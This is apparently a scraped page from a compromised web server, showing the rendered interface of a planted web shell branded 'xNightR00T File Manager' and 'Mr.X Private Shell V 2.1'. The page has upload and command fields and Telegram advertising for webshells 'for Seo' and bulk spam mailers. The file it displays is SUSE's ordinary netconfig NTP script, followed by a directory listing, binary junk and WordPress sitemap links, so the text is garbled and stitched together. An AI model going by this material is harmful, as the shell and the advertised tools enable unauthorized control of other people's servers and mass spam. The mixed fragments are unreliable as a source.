xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
#!/bin/bash
#
# Copyright (c) 2008 SUSE LINUX Products GmbH, Nuernberg, Germany.
# This program is free software; you can redistribute it and/or modify it under
# the terms of the GNU General Public License as published by the Free Software
# Foundation; either version 2 of the License, or (at your option) any later
# version.
#
# This program is distributed in the hope that it will be useful, but WITHOUT
# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
# FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more
# details.
#
# You should have received a copy of the GNU General Public License along with
# this program.  If not, see <http://www.gnu.org/licenses/>.
#
# Author: Michael Calmer <mc@suse.de>
#         Marius Tomaschewski <mt@suse.de>
#
##

unset POSIXLY_CORRECT ; set +o posix # we are using non-posix bash features

# The environment variable ROOT indicates the root of the system to be
# managed by SuSEconfig when that root is not '/'
r="$ROOT"

. "$r/etc/sysconfig/network/scripts/functions.netconfig"

PROGNAME="${0##*/}"
if test "$UID" != "0" -a "$USER" != root -a -z "$ROOT" ; then
    warn "You must be root to start $0."
    exit 1
fi

STATEDIR="$r/var/run/netconfig"
debug "$PROGNAME Module called"

. "$r/etc/sysconfig/network/config"

NTP_SERVER_LIST=()

DESTFILE="$r/var/run/ntp/servers-netconfig"
TMP_FILE=""

function write_ntp_servers()
{
    if [ -z "$1" ]; then
        # empty list of ntp servers 
        # => remove the runtime configuration file
        rm -f $DESTFILE
        return 1
    fi

    debug "write_ntp_servers: $1"

    # make sure that the directory exists
    test -d "${DESTFILE%/*}" || mkdir -p "${DESTFILE%/*}" || {
        warn "no ${DESTFILE%/*} directory -- failed to create it"
        return 1
    }

    local SERVERS

    TMP_FILE=`mktemp -t "ntp-servers-netconfig.XXXXXX"` || return 1

    if test ! -s "$DESTFILE" ; then
        touch "$DESTFILE"  ; chmod 644 "$DESTFILE"
    fi

    # * copy dest => tmp to get the file attributes
    # * remove the content 
    # * print a warning on top of this file
    #cp -p "$DESTFILE" "$TMP_FILE"

    # set explicit mode on tmp file instead to preserve the
    # mode of original file that can be wrong (bnc#428458)
    chmod 644 "$TMP_FILE"

    cat << EOT > "$TMP_FILE"
### $DESTFILE file autogenerated by netconfig!
#
# Before you change this file manually, consider to define the
# static NTP configuration using the following variables in the
# /etc/sysconfig/network/config file:
#     NETCONFIG_NTP_STATIC_SERVERS
# or disable NTP configuration updates via netconfig by setting:
#     NETCONFIG_NTP_POLICY=''
#
# See also the netconfig(8) manual page and other documentation.
#
# Note: Manual change of this file disables netconfig too, but
# may get lost when this file contains comments or empty lines
# only, the netconfig settings are same with settings in this
# file and in case of a "netconfig update -f" call.
#
### Please remove (at least) this line when you modify the file!
EOT

    for ns in $1; do
        for os in ${SERVERS[@]} ; do
            [ "x$ns" == "x$os" ] && continue 2
        done

        SERVERS=(${SERVERS[@]} ${ns})
    done

    if [ ${#SERVERS[@]} -gt 0 ]; then
        echo "RUNTIME_SERVERS='${SERVERS[@]}'" >> "$TMP_FILE"
    fi

    netconfig_check_md5_and_move "$TMP_FILE" "$DESTFILE"
    return $?
}

function get_ntp_settings()
{
    local cfg=$1 ; shift
    test "x$cfg" = x && return 1
    local NTPSERVERS

    debug "exec get_ntp_settings: $cfg"

    get_variable "NTPSERVERS" "$cfg"
    if [ "x$NTPSERVERS" != "x" ]; then
        NTP_SERVER_LIST=(${NTP_SERVER_LIST[@]} $NTPSERVERS)
    fi
    unset NTPSERVERS
    debug "     get_ntp_settings: NTP_SERVER_LIST='${NTP_SERVER_LIST[@]}'"

    debug "exit get_ntp_settings: $cfg"
    return 0
}

function manage_interfaceconfig()
{
    local cfg dir="$1" ; shift
    test "x$dir" != x -a -d "$dir" || return 1

    debug "exec manage_interfaceconfig: $dir"
    for cfg in `ls -X -r "$dir/" 2>/dev/null`; do
        get_ntp_settings "$dir/$cfg"
    done
    debug "exit manage_interfaceconfig: $dir"
    return 0
}


# *********************
# EXECUTION STARTS HERE
# *********************

# just for the case we need the original value...
_NETCONFIG_NTP_POLICY=`netconfig_policy "$NETCONFIG_NTP_POLICY" ntp`
if [ "x$_NETCONFIG_NTP_POLICY" = "x" ]; then
    #
    # empty policy means do not touch anything. 
    # successful exit.
    #
    exit 0;
fi

sf=0
_g=1
# disable filename glob expansion if needed
shopt -o -q noglob || _g=0
[ $_g ] && shopt -o -s noglob
for POL in $_NETCONFIG_NTP_POLICY; do
    shopt -o -u noglob
    case "$POL" in
    (NetworkManager)
        debug "Use NetworkManager policy merged settings"
        cfg="$STATEDIR/NetworkManager.netconfig"
        if [ -r "$cfg" ] ; then
            get_ntp_settings "$cfg"
        fi
        break
    ;;
    (STATIC)
        debug "Keep Static"
        NTP_SERVER_LIST=(${NTP_SERVER_LIST[@]} $NETCONFIG_NTP_STATIC_SERVERS)
        ;;
        (STATIC_FALLBACK)
        debug "Static Fallback"
        sf=1
    ;;
    (*)
        debug "Other: $POL"
        for IFDIR in $STATEDIR/$POL; do
            test -d "$IFDIR" -a \
                 -d "/sys/class/net/${IFDIR##*/}" || continue
            # proceed every interface we find with this match
            manage_interfaceconfig  "$IFDIR"
        done
    ;;
    esac
done
[ $_g ] && shopt -o -u noglob

if [ $sf -eq 1 -a ${#NTP_SERVER_LIST[@]} -eq 0 ]; then
    NTP_SERVER_LIST=($NETCONFIG_NTP_STATIC_SERVERS)
fi

write_ntp_servers "${NTP_SERVER_LIST[*]}"
RET=$?

if [ $RET -eq 1 ]; then
    # nothing changed; we are finished
    exit 0
elif [ $RET -eq 2 ]; then
   # user modified the config. Copy aborted
    echo "ATTENTION: You have modified $DESTFILE.  Leaving it untouched..."
    echo "You can find my version in $TMP_FILE ..."

    exit 20
fi

# here we should restart services if needed

do_runtime_update()
{
    #
    # do not restart  or it may (will) block ifup
    # just try to add the server at runtime ...
    #
    NTP_CONF="/etc/ntp.conf"
    NTP_TOOL="/usr/sbin/ntpq"
    test -x "$NTP_TOOL" || return 1

    local status
    systemctl --quiet is-active ntpd.service &>/dev/null
    status=$?

    if [ -n "${NTP_SERVER_LIST[*]}" -a -f "${NTP_CONF}" ] && [ $status -eq 0 ]; then
        NTP_KEYS=$(awk -- '/^keys[[:blank:]]/ { print $2 }' $NTP_CONF 2>/dev/null)
        NTP_KEYID=$(awk -- '/^requestkey[[:blank:]]/ { print $2 }' $NTP_CONF 2>/dev/null)
        if test -n "$NTP_KEYS" -a -n "$NTP_KEYID" -a -r "$NTP_KEYS"; then
                NTP_KEYTYPE=$(awk '$1 == "'$NTP_KEYID'"{ print $2 }' $NTP_KEYS)
                NTP_PASSWD=$(awk '$1 == "'$NTP_KEYID'"{ print $3 }' $NTP_KEYS)
        fi
        if [ -n "$NTP_KEYS" -a -n "$NTP_PASSWD" -a -n "$NTP_KEYTYPE" ] ; then
            for server in ${NTP_SERVER_LIST[*]} ; do
                CMD="keytype $NTP_KEYTYPE\nkeyid $NTP_KEYID\npasswd $NTP_PASSWD\n:config server $server\n"
                LOG=$(echo -e "${CMD}quit" | $NTP_TOOL 2>&1 >/dev/null)
                if test "X${VERBOSE:-$NETCONFIG_VERBOSE}" = "Xyes" ; then
                        log "adding server $server${LOG:+ ${NTP_TOOL##*/}: $LOG}"
                fi
            done
        fi
    fi
}

# runtime update always in background
(
    if test "X$ACTION" != "Xremove" -a ${#NTP_SERVER_LIST[*]} -gt 0 ; then
        debug "$PROGNAME adding servers ${NTP_SERVER_LIST[*]}"
        do_runtime_update </dev/null &>/dev/null &
    fi
)
disown -a

exit 0;

# vim: set ts=8 sts=4 sw=4 ai et:

Filemanager

Name Type Size Permission Actions
dns-bind File 7.55 KB 0755
dns-dnsmasq File 7.54 KB 0755
dns-resolver File 10.11 KB 0755
nis File 12.34 KB 0755
ntp-runtime File 7.43 KB 0755
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml